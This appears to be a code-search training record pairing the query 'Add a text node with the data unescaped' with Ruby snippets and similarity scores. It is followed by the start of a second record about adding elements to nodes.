"def write_text_t(text)\n attributes = []\n\n (attributes << 'xml:space' << 'preserve') if text =~ /^\\s/ || text =~ /\\s$/\n\n @writer.data_element('t', text, attributes)\n end",
"def export_text(node, opts)\n opts[:xml].text(node.text)\n end",
"def cdata_block(text)\n return unless @state[:has_text]\n @text ||= \"\"\n @text << text\n end",
"def update_raw_text(item)\n raw_text = +''\n\n append_text = lambda do |child|\n if child.type == :text\n raw_text << child.value\n else\n child.children.each {|c| append_text.call(c) }\n end\n end\n\n append_text.call(item)\n item.options[:raw_text] = raw_text\n end",
"def put_text_node_at(position)\n clear_insert_toolbar_before(@current_edited_node_position)\n @current_edited_node_position = position\n nodes.insert(position + 1, PostNode.new(node: PostText.new, node_type: 'PostText'))\n set_state post: state.post\n end",
"def add_node(node); end",
"def append_literal(data, ts, te)\n self.literal = literal || []\n literal << text(data, ts, te)\n end",
"def append_literal(data, ts, te)\n self.literal = literal || []\n literal << text(data, ts, te)\n end",
"def add(text)\n\n\t\t# create a new node and set navigation pointers\n\t\t@old = @tree\n\t\t@tree = Node.new(text)\n\t\[email protected] = @old.next\n\t\tif @old.next != nil\n\t\t\[email protected] = @tree\n\t\tend\n\t\[email protected] = @old\n\t\[email protected] = @tree\n\n\t\t# Prune the tree, so it doesn't get too big.\n\t\t# Start by going back.\n\t\tn=0\n\t\tx = @tree\n\t\twhile x != nil\n\t\t\tn += 1\n\t\t\tx0 = x\n\t\t\tx = x.prev\n\t\tend\n\t\tx = x0\n\t\twhile n > 500\n\t\t\tn -= 1\n\t\t\tx = x.next\n\t\t\tx.prev.delete\n\t\tend\n\t\t# now forward\n\t\tn=0\n\t\tx = @tree\n\t\twhile x != nil\n\t\t\tn += 1\n\t\t\tx0 = x\n\t\t\tx = x.next\n\t\tend\n\t\tx = x0\n\t\twhile n > 500\n\t\t\tn -= 1\n\t\t\tx = x.prev\n\t\t\tx.next.delete\n\t\tend\n\tend",
"def text(string)\n target << string\n end",
"def text=(txt)\n @text = txt\n @rootBlock = (Parser.new).parse(self)\n self\n end",
"def traverseText(node, buf)\n return if node['meta'] == \"yes\" || node['index'] == \"no\"\n node.text? and buf << node.to_s.strip + \"\\n\"\n node.children.each { |child| traverseText(child, buf) }\nend",
"def <<(text_element)\n self.text_elements << text_element\n self.merge!(text_element)\n end",
"def handleTextElement someText\r\n @output << someText.value.strip if @output\r\n end",
"def text!(str)\n self << str\n\n return self\n end",
"def child_add_string(name, value)\n elt = NaElement.new(name, value)\n child_add(elt)\n end",
"def add_comment_node(node, text)\n comment_node = Nokogiri::XML::Comment.new(node.document, \"wovn-src:#{text}\")\n if node.parent.name == 'title'\n node.parent.add_previous_sibling(comment_node)\n else\n node.add_previous_sibling(comment_node)\n end\n end",
"def push_plain(text)\n if @block_opened\n raise SyntaxError.new(\"Illegal Nesting: Nesting within plain text is illegal.\")\n end\n push_text text\n end",
"def add(term)\n root.add Buffer.new(normalize(term) + delimiter), term\n end",
"def traverseText(node, buf)\n return if node['meta'] == \"yes\" || node['index'] == \"no\"\n return if buf.length > MAX_TEXT_SIZE\n node.text? and buf << node.to_s.strip\n node.children.each { |child| traverseText(child, buf) }\nend",
"def escape_xml(text)\n text.encode(xml: :text)\n end",
"def node_text(node)\n node && node.text\n end",
"def inject(text)\n\t\t\tcontext = create_context\n\t\t\tinterpreter = Glyph::Interpreter.new text, context\n\t\t\tsubtree = interpreter.parse\n\t\t\tsubtree[:source] = context[:source]\n\t\t\t@node << subtree\n\t\t\tinterpreter\n\t\tend",
"def _append_text(str)\n\t\tif(str != '')\n\t\t\tif(!@contents || !@contents[@content_index].is_a?(String))\n\t\t\t\t@content_index += 1\n\t\t\t\t@contents[@content_index] = ''\n\t\t\tend\n\t\t\t@contents[@content_index] += str.to_s\n\t\tend\n\tend",
"def set_text(text)\n @body = TextElement.new(text)\n end",
"def update_raw_text(item)\n raw_text = +''\n\n append_text = lambda do |child|\n case child.type\n when :text, :codespan, :math\n raw_text << child.value\n when :entity\n raw_text << child.value.char\n when :smart_quote\n raw_text << ::Kramdown::Utils::Entities.entity(child.value.to_s).char\n when :typographic_sym\n raw_text << case child.value\n when :laquo_space\n \"« \"\n when :raquo_space\n \" »\"\n else\n ::Kramdown::Utils::Entities.entity(child.value.to_s).char\n end\n else\n child.children.each { |c| append_text.call(c) }\n end\n end\n\n append_text.call(item)\n item.options[:raw_text] = raw_text\n end",
"def add_node(p_node_text, p_node_type, p_parent_node = nil, p_node_color = nil)\n new_node = create_node(p_node_text, p_node_type, p_node_color)\n # add new node on top level per default\n if p_parent_node.nil?\n p_parent_node = @nodes[0]\n end\n p_parent_node[\"nodes\"].insert(0, new_node)\n return new_node\n end",
"def test_get_set_data\n ins = @html_parser.find('ins').first_result\n strong = @html_parser.find('strong').first_result\n text_node = ins.get_first_node_child\n text_node.set_data(strong.get_first_node_child.get_data)\n text_node.append_text('!!!')\n\n assert_equal('Strong text!!!', text_node.get_text_content)\n assert_equal('Strong text!!!', strong.get_text_content)\n assert_equal('cell', ins.get_text_content)\n end",
"def text=(text); end",
"def appendtext(value)\n merge(appendtext: value.to_s)\n end",
"def node_text(node)\n return node.text.gsub('<', '<').gsub('>', '>') if node.text?\n\n return node.to_s if node.name =~ /code/\n\n node.children.map { |child| node_text(child) }.join('').strip\n end",
"def text(node)\r\n RenderErb.(erb: TEMPLATE, object: node)\r\n end",
"def insert_text(text:)\n {\n method: \"Input.insertText\",\n params: { text: text }.compact\n }\n end",
"def text(value)\n attributes[:text] = value\n end",
"def process_node(node, process_text)\n node_text = ''\n if node.element?\n case node.node_name\n when 'p', 'div'\n node_text.concat(process_paragraph_node(node))\n when 'span'\n node_text.concat(process_span_node(node))\n when 'h1','h2','h3','h4','h5','h6','h7','h8','h9'\n node_text.concat(process_header_node(node))\n when 'b', 'strong'\n node_text.concat(process_bold_node(node))\n when 'i', 'em'\n node_text.concat(process_italic_node(node))\n when 'u'\n node_text.concat(process_underline_node(node))\n when 'strike'\n node_text.concat(process_strike_node(node))\n when 'br'\n node_text.concat(process_line_break_node(node))\n when 'hr'\n node_text.concat(process_hrule_node(node))\n when 'table'\n node_text.concat(process_table_node(node))\n when 'tr'\n node_text.concat(process_table_row_node(node))\n when 'td'\n node_text.concat(process_table_data_node(node))\n when 'ul'\n node_text.concat(process_list_node(node, '*'))\n when 'ol'\n node_text.concat(process_list_node(node, '#'))\n when 'li'\n node_text.concat(process_list_item_node(node))\n when 'img'\n node_text.concat(process_image_node(node))\n when 'a'\n node_text.concat(process_link_node(node))\n else\n node.children.each {|n| node_text.concat(process_node(n, process_text))}\n end\n elsif process_text and node.text?\n node_text.concat(process_text_node(node))\n else\n node.children.each {|n| node_text.concat(process_node(n, process_text))}\n end\n node_text\n end",
"def node_text( value, block = nil )\n @seq_map = false\n\t\t\tvalx = value.dup\n unless block\n block =\n if options(:UseBlock)\n '|'\n elsif not options(:UseFold) and valx =~ /\\n[ \\t]/ and not valx =~ /#{YAML::ESCAPE_CHAR}/\n '|'\n else\n '>'\n end \n\n indt = $&.to_i if block =~ /\\d+/\n if valx =~ /(\\A\\n*[ \\t#]|^---\\s+)/\n indt = options(:Indent) unless indt.to_i > 0\n block += indt.to_s\n end\n\n block +=\n if valx =~ /\\n\\Z\\n/\n \"+\"\n elsif valx =~ /\\Z\\n/\n \"\"\n else\n \"-\"\n end\n end\n block += \"\\n\"\n if block[0] == ?\"\n esc_skip = ( \"\\t\\n\" unless valx =~ /^[ \\t]/ ) || \"\"\n valx = fold( YAML::escape( valx, esc_skip ) + \"\\\"\" ).chomp\n self << '\"' + indent_text( valx, indt, false )\n else\n if block[0] == ?> \n valx = fold( valx ) \n end\n #p [block, indt]\n self << block + indent_text( valx, indt )\n end\n\t\tend",
"def append(appended_text = '')\n @text << ' ' << appended_text\n end",
"def add_textbox(transform, content, formatting={})\n shape = Shapes::Textbox.new(transform, content, formatting)\n shape_tree_xml.add_child(shape.build_node)\n end",
"def set_attributes_as_text(node_id:, text:, name: nil)\n {\n method: \"DOM.setAttributesAsText\",\n params: { nodeId: node_id, text: text, name: name }.compact\n }\n end",
"def characters(string)\n @elem.add_child(Nokogiri::XML::Text.new(string, @doc))\n end",
"def text(text)\n text = text.gsub(/['\\\\]/, '\\\\\\\\\\&')\n \"@output_buffer.safe_concat('#{text}'); \"\n end",
"def set_text(text); end",
"def convert_text(el, opts)\n if opts[:raw_text]\n el.value\n else\n el.value.gsub(/\\A\\n/) do\n opts[:prev] && opts[:prev].type == :br ? '' : \"\\n\"\n end#.gsub(/\\s+/, ' ').gsub(ESCAPED_CHAR_RE) { \"\\\\#{$1 || $2}\" }\n end\n end",
"def parse_text\r\n @text_nodes.map(&:content).join('')\r\n end",
"def parse_text\r\n @text_nodes.map(&:content).join('')\r\n end",
"def text(el)\n return el.value if el.type == :text\n\n xs = el.children.map do |x|\n text(x)\n end\n\n xs.join(\" \").gsub(\"\\n\", '')\n end",
"def initialize(text_node)\n Hatemile::Helper.require_not_nil(text_node)\n Hatemile::Helper.require_valid_type(text_node, Nokogiri::XML::Text)\n\n @data = text_node\n init(text_node, self)\n end",
"def insert(name, tag, value)\n set_text_content(name, tag, @klass, value)\n end",
"def text(value)\n @doc << {:type => :text, :value => value}\n nil\n end",
"def add_nodes(*args)\n node = super\n node.fontname = @font\n node\n end",
"def insert(text)\n normal \"i#{text}\"\n end",
"def text( text )\n @buffer << encode(text.to_s)\n end",
"def text!(content)\n build! do\n @_crafted << Tools.escape(content.to_s)\n end\n end",
"def text_content\n @_node.getTextContent\n end",
"def get_text_node(node)\n text = nil\n\n if node and node.text\n text = node.text\n end\n\n text\nend",
"def node_text(node)\n text_value = node ? node.text : nil\n if text_value && block_given?\n yield text_value\n else\n text_value\n end\n end",
"def end_element(name)\n @text << \" \" if name == 'String'\n @text << \"\\n\" if name == 'TextBlock'\n @text << \"\\n\" if name == 'TextLine'\n end",
"def insert_data(data)\n self.root = insert(data)\n end",
"def add_node( node )\n super( node )\n __add_node__( node )\n end",
"def insert_text\n attributes.fetch(:insertText)\n end",
"def add_child(node_or_tags); end",
"def add_child(node_or_tags); end",
"def xtext(text)\n tag(:br) + content_tag(:xtext, t(text)) + tag(:br)\n end",
"def <<(text)\r\n if @text.length > 0 && @text[-1..-1] != \" \" && text[0..0] != \" \"\r\n @text += \" \"\r\n end\r\n @text += text\r\n end"
] |
[
"0.7402319",
"0.7265906",
"0.711626",
"0.70216936",
"0.6807365",
"0.6804287",
"0.67626226",
"0.67546237",
"0.66503924",
"0.6615331",
"0.65577555",
"0.65520936",
"0.65520936",
"0.6546895",
"0.6539841",
"0.6532641",
"0.64562786",
"0.64537907",
"0.64537907",
"0.6440339",
"0.64383936",
"0.63273716",
"0.62515694",
"0.62369204",
"0.62101686",
"0.61930233",
"0.61836946",
"0.6118314",
"0.61011434",
"0.608325",
"0.60777336",
"0.60429955",
"0.6039222",
"0.6035282",
"0.6032316",
"0.6004063",
"0.59918946",
"0.5973961",
"0.5966317",
"0.59518284",
"0.59368026",
"0.5924233",
"0.5910667",
"0.58800375",
"0.58800375",
"0.5861333",
"0.5847808",
"0.5846032",
"0.5838221",
"0.5829319",
"0.58260036",
"0.58157736",
"0.58147067",
"0.5798075",
"0.57746536",
"0.57388043",
"0.57311237",
"0.5730737",
"0.5704719",
"0.5686206",
"0.56828296",
"0.5681467",
"0.56670564",
"0.566338",
"0.56435233",
"0.56419456",
"0.5633838",
"0.56294817",
"0.56163925",
"0.56058604",
"0.5596429",
"0.5578228",
"0.5572981",
"0.55681205",
"0.5564294",
"0.5560155",
"0.55516285",
"0.5550952",
"0.5547347",
"0.55402297",
"0.5539233",
"0.5539233",
"0.55365247",
"0.552282",
"0.5521126",
"0.5519336",
"0.5511102",
"0.55072105",
"0.55067253",
"0.55028874",
"0.54931337",
"0.5491511",
"0.5486861",
"0.5484876",
"0.54766595",
"0.54747254",
"0.5472357",
"0.546997",
"0.546997",
"0.5467819",
"0.5467025"
] |
0.0
|
-1
|
Add a text node with the data unescaped
|
def __(data=""); @_undies_output.node(data.to_s); end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def createTextNode(data)\n ret = Text.new(data)\n ret.ownerDocument = self\n ret\n end",
"def add_text(text)\n return if text.empty?\n\n if text.frozen?\n text = text.gsub(/['\\\\]/, '\\\\\\\\\\&')\n else\n text.gsub!(/['\\\\]/, '\\\\\\\\\\&')\n end\n\n with_buffer{@src << \" << '\" << text << @text_end}\n end",
"def text(content)\n @nodes << TextNode.new(content)\n self\n end",
"def add_text(text, tree = T.unsafe(nil), type = T.unsafe(nil)); end",
"def text_node(content)\n return node(\"text\", content)\n end",
"def create_text_node(string, &block); end",
"def create_text_node(string, &block); end",
"def add_text(text); end",
"def add_text(src, text)\n return if text.empty?\n\n if text == \"\\n\"\n @newline_pending += 1\n else\n src << \"_erbout.safe_append='\"\n src << \"\\n\" * @newline_pending if @newline_pending > 0\n src << escape_text(text)\n src << \"';\"\n\n @newline_pending = 0\n end\n end",
"def add_text_child(text)\n text_tag = Tag.new(\"text\", text)\n @current_node.children.push text_tag\n text_tag.parent = @current_node\n # text_tag.depth = @current_node.depth\n end",
"def create_text(content)\n DOM(`#@native.createTextNode(#{content})`)\n end",
"def cdata(text)\n XML::Node.new_cdata text.to_s\n end",
"def text(node); end",
"def text(node); end",
"def create_text_node(string, &block)\n Nokogiri::XML::Text.new(string.to_s, self, &block)\n end",
"def text(text)\n @document.add_text(text)\n end",
"def _text(text)\n @target << text\n end",
"def text=(content)\n if @text_nodes.size == 1\n @text_nodes.first.content = content\n elsif @text_nodes.empty?\n #new_t = Elements::Text.create_within(self)\n new_t.content = content\n end\n end",
"def cdata_block(text)\n return unless @state[:has_text]\n @text ||= \"\"\n @text << text\n end",
"def text(text)\r\n # Do nothing unless we're currently working on a <packet> element or one of its children\r\n return unless @element_stack.length > 0\r\n\r\n @element_stack.last.add_text(text)\r\n end",
"def content text\n @xml << text.to_s\n nil\n end",
"def text( text )\n @buffer << encode(text.to_s)\n end",
"def node_text(node)\n node.content.gsub('<', '<').gsub('>', '>')\n end",
"def write_text_t(text)\n attributes = []\n\n (attributes << 'xml:space' << 'preserve') if text =~ /^\\s/ || text =~ /\\s$/\n\n @writer.data_element('t', text, attributes)\n end",
"def text=(content)\r\n if @text_nodes.size == 1\r\n @text_nodes.first.content = content\r\n elsif @text_nodes.empty?\r\n new_t = Elements::Text.create_within(self)\r\n new_t.content = content\r\n end\r\n end",
"def add(text)\n @text << text\n end",
"def text(text)\n text = text.gsub(/['\\\\]/, '\\\\\\\\\\&')\n \"@output_buffer.safe_concat('#{text}'); \"\n end",
"def append_text(content)\n temp_text_ele = @text_ele.clone\n temp_text_ele.elements[1].content = content\n last_para = @main_doc.xpath('.//w:p')[-1]\n last_para.add_child(temp_text_ele)\n end",
"def text\n text = @tag_data[:text]\n # convert_newlines_to_br\n text.gsub!(\"\\r\\n\", \"\\n\")\n text.gsub!(\"\\n\", \"\\n\")\n text\n end",
"def text!(str)\n self << str\n\n return self\n end",
"def escape_xml(text)\n text.encode(xml: :text)\n end",
"def text=(content)\r\n if @text_nodes.size == 1\r\n @text_nodes.first.content = content\r\n elsif @text_nodes.empty?\r\n new_t = Elements::Text.create_within(self)\r\n new_t.content = content\r\n end\r\n reset_text\r\n end",
"def export_text(node, opts)\n opts[:xml].text(node.text)\n end",
"def text!(str)\n @buffer << str\n\n return self\n end",
"def text(value)\n attributes[:text] = value\n end",
"def text=(text); end",
"def text=(string)\n self.children.each do |node|\n if node.node_type == TEXT_NODE\n node.content = string.to_s\n return node.content\n end\n end\n\n self << XML::Text.new(string.to_s, self.doc)\n end",
"def append_literal(data, ts, te)\n self.literal = literal || []\n literal << text(data, ts, te)\n end",
"def append_literal(data, ts, te)\n self.literal = literal || []\n literal << text(data, ts, te)\n end",
"def text(value)\n @doc << {:type => :text, :value => value}\n nil\n end",
"def text(node)\r\n RenderErb.(erb: TEMPLATE, object: node)\r\n end",
"def cdata!(text)\n _ensure_no_block ::Kernel::block_given?\n _special(\"<![CDATA[\", \"]]>\", text.gsub(']]>', ']]]]><![CDATA[>'), nil)\n end",
"def text!(content)\n build! do\n @_crafted << Tools.escape(content.to_s)\n end\n end",
"def _(data=\"\")\n @_undies_io.current.text(self.class.escape_html(data.to_s))\n end",
"def text(text,tag_parse=true)\n set RGhost::Text.new(text.to_s,tag_parse) \n end",
"def escape_text(text)\n text\n end",
"def create_node(xml, node_name, attrs, text)\n return if text.nil? || text.empty?\n\n xml.send(node_name, clean_attrs(attrs)) do\n xml.text text\n end\n end",
"def process_text_node(node, dynamic_key: nil)\n content = node.content\n\n if node.blank?\n if !content.include?(\"\\n\")\n append_htx_node(\"`#{content}`\")\n elsif node.next\n append(content)\n else\n @whitespace_buff = content[NEWLINE_END]\n end\n else\n htx_content_node = self.class.htx_content_node?(node.parent)\n parser = TextParser.new(content, statement_allowed: !htx_content_node)\n parser.parse\n\n append(parser.leading) unless htx_content_node\n\n if parser.statement?\n append(indent(parser.content))\n elsif parser.raw?\n append_htx_node(indent(parser.content), dynamic_key)\n else\n append_htx_node(parser.content, dynamic_key)\n end\n\n unless htx_content_node\n append(parser.trailing)\n @whitespace_buff = parser.whitespace_buff\n end\n end\n end",
"def test_text\n root = CommandNode.new(nil, nil)\n\n root << 'A block of text.'\n assert(root.size == 1)\n assert(root[0].class == TextNode)\n assert(root[0].text == 'A block of text.')\n\n root << \" More text.\"\n assert(root.size == 1)\n assert(root[0].class == TextNode)\n assert(root[0].text == 'A block of text. More text.')\n\n root.paragraph\n root << \"A new node.\"\n assert(root.size == 3)\n assert(root[0].class == TextNode)\n assert(root[-1].class == TextNode)\n assert(root[0].text == 'A block of text. More text.')\n assert(root[-1].text == 'A new node.')\n end",
"def text=(txt)\n @text = txt\n @rootBlock = (Parser.new).parse(self)\n self\n end",
"def html_text( text_node )\n self.remove_leading_and_trailing_whitespace( text_node )\n end",
"def append(text); end",
"def add_text\n return '' unless @selector.key?(:text)\n\n text = @selector.delete :text\n if !text.is_a?(Regexp)\n \"[normalize-space()='#{text}' or @value='#{text}']\"\n elsif simple_regexp?(text)\n \"[contains(text(), '#{text.source}') or contains(@value, '#{text.source}')]\"\n else\n @selector[:text] = text\n ''\n end\n end",
"def handleTextElement someText\r\n @output << someText.value.strip if @output\r\n end",
"def convert_text(el, opts)\n if opts[:raw_text]\n el.value\n else\n el.value.gsub(/\\A\\n/) do\n opts[:prev] && opts[:prev].type == :br ? '' : \"\\n\"\n end#.gsub(/\\s+/, ' ').gsub(ESCAPED_CHAR_RE) { \"\\\\#{$1 || $2}\" }\n end\n end",
"def initialize(text_node)\n Hatemile::Helper.require_not_nil(text_node)\n Hatemile::Helper.require_valid_type(text_node, Nokogiri::XML::Text)\n\n @data = text_node\n init(text_node, self)\n end",
"def text=(x)\n self << x.to_s\n end",
"def text(text)\n @text = text\n end",
"def nodeValue=(text)\n self.childNodes = [text]\n end",
"def parse_text\r\n @text_nodes.map(&:content).join('')\r\n end",
"def parse_text\r\n @text_nodes.map(&:content).join('')\r\n end",
"def escape_literal(text)\n text\n end",
"def update_raw_text(item)\n raw_text = +''\n\n append_text = lambda do |child|\n if child.type == :text\n raw_text << child.value\n else\n child.children.each {|c| append_text.call(c) }\n end\n end\n\n append_text.call(item)\n item.options[:raw_text] = raw_text\n end",
"def text(el)\n el.text.strip.gsub(/\\r/, \"\\n\")\n rescue\n ''\n end",
"def set_text(text)\n @body = TextElement.new(text)\n end",
"def text_node(element, parent)\n if element.name.to_sym.eql?(:code) and parent.eql?(:pre)\n element.text.gsub(\"\\n\",\"\\n \") << \"\\n\"\n elsif parent.eql?(:blockquote)\n element.text.gsub!(\"\\n \",\"\\n>\")\n return element.text\n else\n element.text\n end\n end",
"def convert_data(text)\n text.nil? ? '' : text\n end",
"def text(string)\n target << string\n end",
"def content(text)\n @out << text.to_s\n nil\n end",
"def rawtext(value)\n text raw(value)\n end",
"def rawtext(value)\n text raw(value)\n end",
"def handle_text(name, attrs)\n \n end",
"def node_text(node)\n node && node.text\n end",
"def text(string)\n @builder << string.to_s\n nil\n end",
"def _append_text(str)\n\t\tif(str != '')\n\t\t\tif(!@contents || !@contents[@content_index].is_a?(String))\n\t\t\t\t@content_index += 1\n\t\t\t\t@contents[@content_index] = ''\n\t\t\tend\n\t\t\t@contents[@content_index] += str.to_s\n\t\tend\n\tend",
"def insert_text(text:)\n {\n method: \"Input.insertText\",\n params: { text: text }.compact\n }\n end",
"def text=(text)\n text = text.nil? ? nil : text.to_s\n write_attribute(:text, sanitize(text, attributes: (HTML::WhiteListSanitizer.allowed_attributes + ['style'])))\n end",
"def show_text_node(post_text)\n t(:div, {},\n input(Components::Forms::WysiTextarea, post_text, :content, {focus_on_load: true})\n )\n end",
"def node_text( value, block = nil )\n @seq_map = false\n\t\t\tvalx = value.dup\n unless block\n block =\n if options(:UseBlock)\n '|'\n elsif not options(:UseFold) and valx =~ /\\n[ \\t]/ and not valx =~ /#{YAML::ESCAPE_CHAR}/\n '|'\n else\n '>'\n end \n\n indt = $&.to_i if block =~ /\\d+/\n if valx =~ /(\\A\\n*[ \\t#]|^---\\s+)/\n indt = options(:Indent) unless indt.to_i > 0\n block += indt.to_s\n end\n\n block +=\n if valx =~ /\\n\\Z\\n/\n \"+\"\n elsif valx =~ /\\Z\\n/\n \"\"\n else\n \"-\"\n end\n end\n block += \"\\n\"\n if block[0] == ?\"\n esc_skip = ( \"\\t\\n\" unless valx =~ /^[ \\t]/ ) || \"\"\n valx = fold( YAML::escape( valx, esc_skip ) + \"\\\"\" ).chomp\n self << '\"' + indent_text( valx, indt, false )\n else\n if block[0] == ?> \n valx = fold( valx ) \n end\n #p [block, indt]\n self << block + indent_text( valx, indt )\n end\n\t\tend",
"def ttext(text)\n tag(:br) + content_tag(:ttext, t(text)) + tag(:br)\n end",
"def set_text(text); end",
"def text\n @node.inner_text.strip\n end",
"def text(data)\n \tif data =~ /^\\n*$/ \n \telse \n puts \" text : #{data.inspect}\"\n end\n end",
"def update_raw_text(item)\n raw_text = +''\n\n append_text = lambda do |child|\n case child.type\n when :text, :codespan, :math\n raw_text << child.value\n when :entity\n raw_text << child.value.char\n when :smart_quote\n raw_text << ::Kramdown::Utils::Entities.entity(child.value.to_s).char\n when :typographic_sym\n raw_text << case child.value\n when :laquo_space\n \"« \"\n when :raquo_space\n \" »\"\n else\n ::Kramdown::Utils::Entities.entity(child.value.to_s).char\n end\n else\n child.children.each { |c| append_text.call(c) }\n end\n end\n\n append_text.call(item)\n item.options[:raw_text] = raw_text\n end",
"def text_content\n @_node.getTextContent\n end",
"def text text\n end",
"def text(el)\n return el.value if el.type == :text\n\n xs = el.children.map do |x|\n text(x)\n end\n\n xs.join(\" \").gsub(\"\\n\", '')\n end",
"def add(term)\n root.add Buffer.new(normalize(term) + delimiter), term\n end",
"def text_token text, kind\n @out << text\n end",
"def appendtext(value)\n merge(appendtext: value.to_s)\n end",
"def _(data=\"\"); self.__ self.escape_html(data.to_s); end",
"def html_markup_text(text); end",
"def propnet\n self.add_tx_string(@phgtext)\n end",
"def render_text(text)\n @out << text\n end",
"def process_text(raw, preserve = T.unsafe(nil)); end",
"def format_for_Nesstar(text)\n chunks = sanitize(text).split(\"\\n\").reject(&:blank?)\n chunks.join(\"\\n<![CDATA[\\n]]><![CDATA[\\n]]>\\n\").html_safe\n end",
"def node_text(node)\n text_value = node ? node.text : nil\n if text_value && block_given?\n yield text_value\n else\n text_value\n end\n end",
"def insert_text\n attributes.fetch(:insertText)\n end",
"def escape_xml_data(xml_data)\n xml_data = xml_data.gsub(\"\\n\", \"\")\n xml_data = xml_data.gsub(\"\\n\", \"\")\n xml_data = xml_data.gsub(/[\\>]([ ])*[\\<]/, \"><\")\n return xml_data\n\n end",
"def escape(text)\n if !text.kind_of?(String)\n if text.respond_to?(:to_str)\n text = text.to_str\n else\n text = test.to_s\n end\n end\n # TODO: Verify that this is sufficient, gut feeling says no.\n text.gsub(/\\</, \"<\")\n end",
"def characters(string)\n @elem.add_child(Nokogiri::XML::Text.new(string, @doc))\n end"
] |
[
"0.72847164",
"0.6998229",
"0.68660665",
"0.67594755",
"0.67581785",
"0.6634751",
"0.6634751",
"0.66224295",
"0.6566012",
"0.6562021",
"0.6519297",
"0.6453878",
"0.6424259",
"0.6424259",
"0.63610065",
"0.6348418",
"0.6334102",
"0.63165045",
"0.62885237",
"0.6268493",
"0.62384474",
"0.62134683",
"0.62127185",
"0.62079465",
"0.6194384",
"0.619294",
"0.6188327",
"0.6151922",
"0.61087275",
"0.6088223",
"0.6078591",
"0.606465",
"0.6049146",
"0.6044447",
"0.6009312",
"0.5998784",
"0.59954375",
"0.5979916",
"0.5979916",
"0.5966121",
"0.59658146",
"0.59409565",
"0.5940019",
"0.5939346",
"0.59373987",
"0.59285015",
"0.59106314",
"0.5904903",
"0.5891229",
"0.58831924",
"0.5881417",
"0.5878062",
"0.5865706",
"0.58639604",
"0.58532643",
"0.5850347",
"0.58313155",
"0.58240974",
"0.5815544",
"0.58070445",
"0.58070445",
"0.57938063",
"0.5793327",
"0.5777469",
"0.57763594",
"0.57746077",
"0.57627314",
"0.5747548",
"0.57200086",
"0.57044667",
"0.57044667",
"0.56684613",
"0.5638184",
"0.5637065",
"0.56005317",
"0.5586351",
"0.5584567",
"0.55837846",
"0.558042",
"0.5566366",
"0.5555194",
"0.5549832",
"0.55469865",
"0.5538006",
"0.5529782",
"0.5524153",
"0.55072486",
"0.5506445",
"0.55002564",
"0.5495125",
"0.5492228",
"0.54877377",
"0.54834914",
"0.5482777",
"0.5482481",
"0.5474617",
"0.54721713",
"0.54671884",
"0.5464788",
"0.5453281",
"0.54525936"
] |
0.0
|
-1
|
Add an element to the nodes of the current node
|
def element(*args, &block); @_undies_output.element(*args, &block); end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add_node(node); end",
"def add(val)\n get_node(val) #every new element that has to be added should point to a new node correponding to it.\n list_size = @elements.size\n last_element_index = list_size - 1\n @elements[last_element_index].next_node = list_size\n new_element_index = list_size\n @elements[new_element_index] = @node\n end",
"def add_node(node)\n @nodes.add node\n end",
"def add(w)\n adopt(w, getElement())\n @children << w if @children\n end",
"def add_node( node )\n super( node )\n __add_node__( node )\n end",
"def add(node)\r\n @nodes << node\r\n end",
"def add(x)\n @contents.push x if x.is_a? Node\n end",
"def add_node(n)\n @nodes.push n unless @nodes.include? n\n end",
"def build_up_new_tag(element)\n @current_node.children << TagNode.new(element)\n end",
"def add_child(node_or_tags); end",
"def add_child(node_or_tags); end",
"def add(element)\n @entries << element\n element.parent = self\n end",
"def append(element)\n updated(@children + [element])\n end",
"def add_node(node)\n nodes[node.value] = node\n end",
"def add_next_sibling(node_or_tags); end",
"def add_node(node)\n\t\t\tunless has_node?(node)\n\t\t\t\t@nodes[node] = new_node(node)\n\t\t\t\t@order += 1\n\t\t\tend\n\t\t\tself\n\t\tend",
"def add(value)\n @root = add_at_node(@root, value)\n end",
"def <<(elem)\r\n self.add elem\r\n end",
"def add_child(node)\n node.build\n nodes << node\n end",
"def add element\n add_last(element)\n end",
"def add element\n add_last(element)\n end",
"def addNode(node)\r\n\t\tif @nodes.nil?\r\n\t\t\t@nodes = [node]\r\n\t\telse\r\n\t\t\t@nodes << node\r\n\t\tend\r\n\tend",
"def add_elem(elem)\n # (native code) \n end",
"def element_add\r\n @env.issue.element_add @meta.element_add ElementAdd.new(@env).insert @is.element_add\r\n end",
"def add_elem(elem)\n # (native code)\n end",
"def add_elem(elem)\n # (native code)\n end",
"def add_elem(elem)\n # (native code)\n end",
"def add_elem(elem)\n # (native code)\n end",
"def add_elem(elem)\n # (native code)\n end",
"def add_elem(elem)\n # (native code)\n end",
"def addNodeAtPos(xml, toAdd, nodeOver)\n\n size = xml[\"childCount\"].to_i\n if(xml[\"nodeName\"] == nodeOver)\n\n xml[\"childCount\"] = size+1\n xml[size] = toAdd\n return\n end\n for j in 0..size\n\n values = xml[j]\n if(values[\"nodeName\"] == nodeOver)\n addNodeAtPos(values, toAdd, nodeOver)\n break\n else\n\n countVals = values[\"childCount\"].to_i\n for k in 0..countVals\n addNodeAtPos(values[k], toAdd,nodeOver)\n end\n end\n end\n end",
"def add_node(node)\n @nodes[node.uri] ||= node\n end",
"def add_node(name, node)\n language.nodes[name] = node if name\n node\n end",
"def <<(node); add(node); end",
"def append(node)\n children.append(node)\n end",
"def insert_node\n insert_node_helper(@root)\n end",
"def add_element(parent, key, value)\n elem = Nokogiri::XML::Node.new(key, @xml.document)\n elem.content = value\n\n parent.add_child(elem)\n end",
"def add(child); end",
"def add_tag(tag)\n if @current_node == nil\n add_root(tag)\n else\n add_child(tag)\n end\n end",
"def added(node)\n\t\t\t@size += 1\n\t\t\treturn node\n\t\tend",
"def add_element(element)\n if nested_child?\n @options.last.last.add_element(element)\n else\n @options.last << element\n end\n end",
"def add(element)\n @element_list << element\n end",
"def addNodeStartingAt(xml, toAdd, toStartAt, nodeName)\n\n count = 0\n size = xml[\"childCount\"].to_i\n for j in 0..size\n\n values = xml[j]\n if(values[\"nodeName\"] == toStartAt)\n addNodeAtPos(values,toAdd,nodeName)\n else\n countVals = values[\"childCount\"].to_i\n for k in 0..countVals\n addNodeStartingAt(values[k], toAdd,nodeName,toStartAt)\n end\n end\n end\n end",
"def add_node(value)\n add_node_support(value, :linked_list)\n end",
"def append(node)\n if next_node\n next_node.append(node)\n else\n next_node = node\n end\n end",
"def add_node node\n nodes << node\n node.scene = self\n end",
